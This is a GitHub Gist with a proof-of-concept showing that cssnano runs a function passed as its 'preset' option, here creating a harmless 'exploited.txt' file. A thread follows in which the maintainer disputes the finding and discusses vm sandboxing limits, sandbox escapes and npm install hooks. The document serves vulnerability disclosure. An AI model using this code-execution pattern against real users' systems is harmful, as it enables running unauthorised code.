Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active November 9, 2023 16:18
Show Gist options
  • Save mcoimbra/907ec2dc71662e7199bad4fc10792268 to your computer and use it in GitHub Desktop.
Save mcoimbra/907ec2dc71662e7199bad4fc10792268 to your computer and use it in GitHub Desktop.
Package cssnano: Allows a custom function to be passed into its internals (#56 in src/index.js) which will then execute it. In this example an 'exploited.txt' file is created.
'use strict'
const pkg = require('cssnano');
const options = {
preset: function() {
const fs = require('node:fs');
let fd = fs.openSync('exploited.txt', 'a');
fs.closeSync(fd);
return {
plugins: []
};
}
}
// The callback in 'options.preset' will be executed and a local 'exploited.txt' file will be created.
const processor = pkg(options);
@ludofischer
Copy link

That seems to be a problem common to all Node.js software with a plugin system Even if the preset key was not allowed to be a function, the plugins themselves could always execute any arbitrary code. cssnano itself is a PostCSS plugin.

@mcoimbra
Copy link
Author

mcoimbra commented Oct 30, 2023

@ludofischer thanks for your feedback.
But would it not be possible to force the execution of the callback with some of the safety functionality of the vm module (require('vm')) to guard for example against this type of exploit?

@ludofischer
Copy link

Can you point to a package that implements the approach you are proposing or describe it in more detail? I have searched Babel for runInContext and runInNewContext and they only use it in tests. I am not familiar with the VM module, but having had a look at it, it looks like you would first need to stringify the user-supplied function, then run it in with vm.runInContext(); then it looks like you would not be able to access the return value, so would you need to the preset creator to assign to a non-existent global variable, which you then create in the context?
Buy the way, if these exploits are significant, I don't think it is a good idea to post them in publicly-accessible Gists .

@mcoimbra
Copy link
Author

mcoimbra commented Nov 3, 2023

Thanks for the insight @ludofischer.

Buy the way, if these exploits are significant, I don't think it is a good idea to post them in publicly-accessible Gists .

I was not aware it was not possible to revert a public Gist back to private, my bad.
If I create another one it will be private.

Can you point to a package that implements the approach you are proposing or describe it in more detail? I have searched Babel for runInContext and runInNewContext and they only use it in tests.

Pasting the documentation links here for reference:

https://nodejs.org/api/vm.html#scriptruninnewcontextcontextobject-options

script.runInNewContext([contextObject[, options]])

- contextObject An object that will be contextified. If undefined, a new object will be created.
- options [](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/
-- displayErrors When true, if an Error occurs while compiling the code, the line of code causing the error is attached to the stack trace. Default: true.
-- timeout Specifies the number of milliseconds to execute code before terminating execution. If execution is terminated, an Error will be thrown. This value must be a strictly positive integer.
-- breakOnSigint If true, receiving SIGINT (Ctrl+C) will terminate execution and throw an Error. Existing handlers for the event that have been attached via process.on('SIGINT') are disabled during script execution, but continue to work after that. Default: false.
-- contextName Human-readable name of the newly created context. Default: 'VM Context i', where i is an ascending numerical index of the created context.
-- contextOrigin Origin corresponding to the newly created context for display purposes. The origin should be formatted like a URL, but with only the scheme, host, and port (if necessary), like the value of the url.origin property of a URL object. Most notably, this string should omit the trailing slash, as that denotes a path. Default: ''.
-- contextCodeGeneration
--- strings
If set to false any calls to eval or function constructors (Function, GeneratorFunction, etc) will throw an EvalError. Default: true.
--- wasm If set to false any attempt to compile a WebAssembly module will throw a WebAssembly.CompileError. Default: true.
-- microtaskMode If set to afterEvaluate, microtasks (tasks scheduled through Promises and async functions) will be run immediately after the script has run. They are included in the timeout and breakOnSigint scopes in that case.
Returns: the result of the very last statement executed in the script.

I share the following example from the page above:

The following example compiles code that sets a global variable, then executes the code multiple times in different contexts. The globals are set on and contained within each individual context.

const vm = require('node:vm');

const script = new vm.Script('globalVar = "set"');

const contexts = [{}, {}, {}];
contexts.forEach((context) => {
  script.runInNewContext(context);
});

console.log(contexts);
// Prints: [{ globalVar: 'set' }, { globalVar: 'set' }, { globalVar: 'set' }] 

I am not familiar with the VM module, but having had a look at it, it looks like you would first need to stringify the user-supplied function, then run it in with vm.runInContext(); then it looks like you would not be able to access the return value, so would you need to the preset creator to assign to a non-existent global variable, which you then create in the context?

Could you please clarify what you meant with 'so would you need to the preset creator'?
The idea would be to run whatever is being passed to the package in a sandbox environment, safe from the potential abuse of the 'module' and 'node:fs' packages, for example.

@ludofischer
Copy link

I was not aware it was not possible to revert a public Gist back to private, my bad.

The reason I arrived here is that Snyk (the company) e-mailed me about the potential security vulnerability in this Gist. Did you contact them?

Pasting the documentation links here for reference:

On the page same page that you link to I have found this line
The node:vm module is not a security mechanism. Do not use it to run untrusted code. Here's an article that explains how you can escape the sadnbox: https://snyk.io/blog/security-concerns-javascript-sandbox-node-js-vm-module/ If you really want isolated VMs you should probably go this route: https://github.com/laverdet/isolated-vm

Could you please clarify what you meant with 'so would you need to the preset creator'?

I've made a typo there, there should be no 'to'. Let's assume that the sandbox was really secure. We need to retrieve the plugins array created by the preset somehow. How do you that if the preset code runs in a vm sandbox? As far as I could see, the only way is that we first create a global variable in the sandbox. Then the preset author in their code should assign to this variable, which would not exist if the preset code was run normally. This would create a fairly unusual API in my experience, that is why I asked you if you had a solution in mind.
But there's a second point that's more crucial. Suppose we manage to retrieve the plugins from the preset. The next step is to run the plugins through PostCSS, and the same problem reappears. How do you prevent the plugins from doing evil things? I don't think you can run them in the sandbox, because as far as I understand the plugin author would not then be able to use require(), which would at the very least force them to write all their code in one file. On top of that, some plugins use external libraries, so it does not seem feasible to run them in a sandbox. And how would you pass the CSS source to the plugins?
And there's even a third point: how did the code for the untrusted preset land on the user's machine? If the user installed as an npm package, then I think the preset creator could use an npm hook like postinstall to execute arbitrary code anyway.

@mcoimbra
Copy link
Author

mcoimbra commented Nov 6, 2023

@ludofischer you raise valid points, we are still analyzing this.
Is there a way to contact you about this in private so we may delete this Gist to not have this in the open as you commented?

@ludofischer
Copy link

You can contact me on GitHub I think.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment